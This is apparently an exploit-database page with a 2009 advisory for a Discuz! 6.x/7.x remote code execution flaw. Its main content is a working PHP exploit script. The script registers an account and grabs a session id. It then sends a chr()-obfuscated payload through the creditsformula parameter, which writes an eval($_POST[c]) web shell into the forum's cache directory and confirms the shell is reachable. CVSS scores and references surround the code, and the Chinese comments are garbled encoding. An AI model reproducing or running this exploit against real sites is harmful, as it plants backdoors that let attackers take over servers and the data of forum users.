Discuz! 6.x/7.x Remote Code Execution Exploit

2009.08.14
Credit: 80vul
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/php <?php /** * Discuz! 6.x/7.x SODB-2008-13 Exp * By www.80vul.com * &#230;&#65533;&#65533;&#187;&#182;δΈ­&#230;&#179;&#65533;&#65533;&#65533;&#65533;&#229;&#65533;&#65533;&#65533;&#65533;&#229;&#65533;&#188;&#232;&#175;&#183;&#232;&#65533;&#170;&#232;&#161;&#65533;&#191;&#174;&#230;&#65533;&#185; */ $host = 'www.80vul.com'; // &#230;&#65533;&#65533;&#229;&#65533;&#161;&#229;&#65533;&#229;&#65533;&#65533;&#229;&#65533;&#65533;&#230;&#65533;&#65533;IP $path = '/discuz/'; // &#65533;&#229;&#186;&#65533;&#230;&#65533;&#65533;&#229;&#65533;&#65533;&#65533;&#232;&#183;&#175;&#229;&#190;&#65533; $key = 0; // &#65533;&#65533;&#162;&#65533;&#65533;&#229;&#65533;&#65533;&#65533;&#65533;&#188;&#65533;&#232;&#190;&#65533;&#229;&#165;&#189;&#229;&#65533;&#65533;&#239;&#188;&#65533;&#232;&#175;&#183;&#229;&#65533;&#230;&#229;&#65533;&#65533;&#65533;&#229;&#65533;&#188;&#230;&#65533;&#185;&#186;1 if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1) exit("&#65533;&#65533;&#65533;&#185;&#229;&#165;&#189;&#65533;,&#229;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#162;&#65533;&#65533;&#230;&#179;&#65533;&#65533; -,-\n"); error_reporting(7); ini_set('max_execution_time', 0); $key = time(); $cmd = 'action=register&username='.$key.'&password='.$key.'&email='.$key.'@80vul.com&_DCACHE=1'; $resp = send(); preg_match('/logout=yes&amp;formhash=[a-z0-9]{8}&amp;sid=([a-zA-Z0-9]{6})/', $resp, $sid); if (!$sid) exit("&#229;&#65533;&#166;,&#229;&#230;&#166;&#65533;&#230;&#65533;&#175;&#230;&#178;&#161;&#230;&#65533;&#65533;&#229;&#188;&#65533;&#229;&#65533;&#175;WAP&#230;&#179;&#229;&#65533;&#65533;&#229;&#65533; -,-\n"); $cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}'; send(); $shell = 'http://'.$host.$path.'forumdata/cache/eval.php'; if (file_get_contents($shell) == '80vul') exit("&#229;&#165;&#189;&#186;&#65533;,&#229;&#65533;&#187;&#65533;&#65533;&#65533;&#65533;&#189;&#65533;&#65533;WebShell&#229;&#65533;:\t$shell\n&#65533;&#65533;&#65533;&#162;&#65533;&#65533;&#187;&#163;&#65533;&#230;&#65533;&#175;:\t<?eval(\$_POST[c])?>\n&#229;&#65533;&#171;&#229;&#65533;&#65533;&#232;&#175;&#65533;&#230;&#65533;&#65533;&#189;&#65533;&#188;&#65533;&#65533; -,-\n"); else exit("&#229;&#65533;&#175;,&#229;&#230;&#166;&#65533;&#230;&#65533;&#175;&#232;&#175;&#165;&#189;&#65533;&#171;&#65533;&#65533;&#229;&#65533;&#229;&#65533;&#230;&#188;&#65533;&#230;&#65533;,&#230;&#65533;&#162;&#65533;&#170;&#229;&#65533; -,-\n"); function send() { global $host, $path, $url, $cmd; $data = "POST ".$path."wap/index.php HTTP/1.1\r\n"; $data .= "Accept: */*\r\n"; $data .= "Accept-Language: zh-cn\r\n"; $data .= "Referer: http://$host$path\r\n"; $data .= "Content-Type: application/x-www-form-urlencoded\r\n"; $data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n"; $data .= "Host: $host\r\n"; $data .= "Connection: Close\r\n"; $data .= "Content-Length: ".strlen($cmd)."\r\n\r\n"; $data .= $cmd; $fp = fsockopen($host, 80); fputs($fp, $data); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } ?>

References:

http://xforce.iss.net/xforce/xfdb/46644
http://www.securityfocus.com/bid/32303
http://www.milw0rm.com/exploits/7119
http://www.discuz.net/archiver/?tid-1112426.html
http://www.80vul.com/dzvul/sodb/13/dz-exp-sodb-2008-13_php.htm
http://secunia.com/advisories/32731
http://osvdb.org/50202


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top